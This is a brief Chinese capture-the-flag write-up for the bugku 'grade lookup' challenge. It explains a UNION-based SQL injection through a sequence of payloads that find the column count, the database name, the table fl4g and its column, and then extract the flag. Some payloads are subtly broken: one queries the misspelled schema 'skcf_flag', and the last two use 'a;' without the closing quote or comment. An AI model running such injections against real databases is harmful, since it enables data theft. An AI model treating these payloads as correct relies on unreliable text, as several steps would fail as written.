bugku 成绩查询

分析

典型的sql联合注入,用bp进行爆破。

step1:

联合注入要求查询列数相同,姓名、语数外一共四个数据,因此select 1,2,3,4
令id=a’是为了使前一个查询无效而回显第二个查询(也可以使用其他字符,只要保证union前的查询无效即可)

id=a' union select 1,2,3,4#

step2:查询数据库名

id=a' union select 1,2,3,database()#

即得数据库名 skctf_flag

step3: 查询表名

id=a' union select 1,2,3,concat(table_name) from information_schema.tables where table_schema='skcf_flag'#

#information_schema.tables 用于查询表的信息
#table_schema='skcf_flag' 指定要查询的表名

得到表名为fl4g

step4 :查询列名

id=a; union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g'

得到列名为skctf_flag

step5 :得flag

id=a; union select 1,2,3,skctf_flag from fl4g

你可能感兴趣的:(bugku,web,SQL注入)